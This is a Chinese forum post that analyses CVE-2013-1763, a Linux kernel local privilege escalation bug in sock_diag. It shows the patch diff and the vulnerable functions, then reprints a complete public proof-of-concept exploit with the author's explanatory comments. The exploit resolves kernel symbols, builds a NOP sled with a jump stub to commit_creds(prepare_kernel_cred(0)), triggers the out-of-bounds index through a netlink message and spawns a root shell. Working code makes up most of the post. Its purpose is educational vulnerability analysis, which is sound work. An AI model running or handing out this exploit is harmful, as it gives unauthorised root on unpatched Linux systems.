-
-
[原创]linux kernel 本地提权漏洞CVE-2013-1763 exploit 代码分析
-
发表于: 2013-9-5 23:06 4196
-
kernel 最近出了一个新的本地提权安全漏洞CVE-2013-1763,影响范围比较广泛,ubuntu,Arch,fedora都受到其影响,漏洞刚公布就有牛人发布了利用该漏洞获取root权限的攻击代码,下面会分析该代码是如何获取root权限的。
首先对CVE-2013-1763这个安全漏洞简单介绍一下。
1. 漏洞描述
在net/core/sock_diag.c中,__sock_diag_rcv_msg函数未对sock_diag_handlers数组传入的下标做边界检查,导致可能越界,进而导致可执行代码的漏洞。没有root权限的用户可以利用该漏洞获取到root权限。
2. 漏洞的影响范围
linux kernel 3.0-3.7.10
3. 漏洞曝光时间
2013/02/19
4. 漏洞产生的原因
首先看一下这个漏洞的patch:
net/core/sock_diag.c View file @ 6e601a5 @@ -121,6 +121,9 @@ static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh) if (nlmsg_len(nlh) < sizeof(*req)) return -EINVAL; + if (req->sdiag_family >= AF_MAX) + return -EINVAL; + hndl = sock_diag_lock_handler(req->sdiag_family); if (hndl == NULL) err = -ENOENT;
static const inline struct sock_diag_handler *sock_diag_lock_handler(int family) { if (sock_diag_handlers[family] == NULL) request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK, NETLINK_SOCK_DIAG, family); mutex_lock(&sock_diag_table_mutex); return sock_diag_handlers[family];//这个函数没有对传入的family的值的范围,进行验证,从而造成数组越界. }
static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh) { int err; struct sock_diag_req *req = NLMSG_DATA(nlh); struct sock_diag_handler *hndl; if (nlmsg_len(nlh) < sizeof(*req)) return -EINVAL; hndl = sock_diag_lock_handler(req->sdiag_family);//这里传入sdiag_family的值,然后返回数组指针sock_diag_handlers[reg->sdiag_family].由于没有做边界判断,那么就可以越界。 if (hndl == NULL) err = -ENOENT; else err = hndl->dump(skb, nlh); //看到这里是不是很激动呢,利用这里可以让它执行我们自己的代码 sock_diag_unlock_handler(hndl); return err; }
/* * quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8 * bug found by Spender * poc by SynQ * * hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux * using nl_table->hash.rehash_time, index 81 * * Fedora 18 support added * * 2/2013 */ #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <netinet/tcp.h> #include <errno.h> #include <linux/if.h> #include <linux/filter.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <linux/sock_diag.h> #include <linux/inet_diag.h> #include <linux/unix_diag.h> #include <sys/mman.h> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; unsigned long sock_diag_handlers, nl_table; int __attribute__((regparm(3))) //这是指示GCC编译器选用3个寄存器代替堆栈来传递参数。 kernel_code() { commit_creds(prepare_kernel_cred(0)); //这行代码执行之后就可以获取root权限,但是这两个函数都是内核函数,必须在内核态执行才有效。 return -1; } //这段函数没有使用,用来解释hard code jump[] 为什么是那些数值 int jump_payload_not_used(void *skb, void *nlh) { asm volatile ( "mov $kernel_code, %eax\n" "call *%eax\n" ); } unsigned long get_symbol(char *name) //为了获取内核函数地址 { FILE *f; unsigned long addr; char dummy, sym[512]; int ret = 0; f = fopen("/proc/kallsyms", "r"); if (!f) { return 0; } while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym); if (ret == 0) { fscanf(f, "%s\n", sym); continue; } if (!strcmp(name, sym)) { printf("[+] resolved symbol %s to %p\n", name, (void *) addr); fclose(f); return addr; } } fclose(f); return 0; } int main(int argc, char*argv[]) { int fd; unsigned family; struct { struct nlmsghdr nlh; //socket协议netlink数据包的格式 struct unix_diag_req r; } req; char buf[8192]; //创建一个netlink协议的socket,因为__sock_diag_rcv_msg函数是属于NETLINK_SOCK_DIAG的 if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){ printf("Can't create sock diag socket\n"); return -1; } //填充数据包,就是为了最终能够执行到__sock_diag_rcv_msg中去 memset(&req, 0, sizeof(req)); req.nlh.nlmsg_len = sizeof(req); req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY; req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST; req.nlh.nlmsg_seq = 123456; //req.r.sdiag_family = 89; req.r.udiag_states = -1; req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN; if(argc==1){ printf("Run: %s Fedora|Ubuntu\n",argv[0]); return 0; } else if(strcmp(argv[1],"Fedora")==0){ commit_creds = (_commit_creds) get_symbol("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred"); sock_diag_handlers = get_symbol("sock_diag_handlers"); nl_table = get_symbol("nl_table"); if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){ printf("some symbols are not available!\n"); exit(1); } family = (nl_table - sock_diag_handlers) / 4; printf("family=%d\n",family); req.r.sdiag_family = family; if(family>255){ printf("nl_table is too far!\n"); exit(1); } } else if(strcmp(argv[1],"Ubuntu")==0){ commit_creds = (_commit_creds) 0xc106bc60; prepare_kernel_cred = (_prepare_kernel_cred) 0xc106bea0; req.r.sdiag_family = 81; } unsigned long mmap_start, mmap_size; mmap_start = 0x10000; //选择了一块1MB多的内存区域 mmap_size = 0x120000; printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size); if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) { printf("mmap fault\n"); exit(1); } memset((void*)mmap_start, 0x90, mmap_size); //将其全部填充为0x90,在X86系统中对应的是NOP指令 char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm unsigned long *asd = &jump[4]; *asd = (unsigned long)kernel_code; //使用kernel_code函数的地址替换掉jump[]中的0x11 //将jump这段代码放在mmap内存区域的最后,也就是说只要最后能够跳转到这块区域,就可以执行到jump代码,进而跳转执行kernel_code,因为这块区域中布满了NOP指令。 memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump)); //所有准备工作完成之后,最后在这里发送socket触发这个漏洞 if ( send(fd, &req, sizeof(req), 0) < 0) { printf("bad send\n"); close(fd); return -1; } printf("uid=%d, euid=%d\n",getuid(), geteuid() ); if(!getuid()) system("/bin/sh"); }
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏记录
参与人
雪币
留言
时间
心游尘世外
为你点赞~
2024-5-31 06:23
QinBeast
为你点赞~
2024-5-31 06:14
飘零丶
为你点赞~
2024-4-3 00:57
shinratensei
为你点赞~
2024-3-3 05:59
一笑人间万事
为你点赞~
2023-3-5 04:18
赞赏
他的文章
看原图
赞赏
雪币:
留言: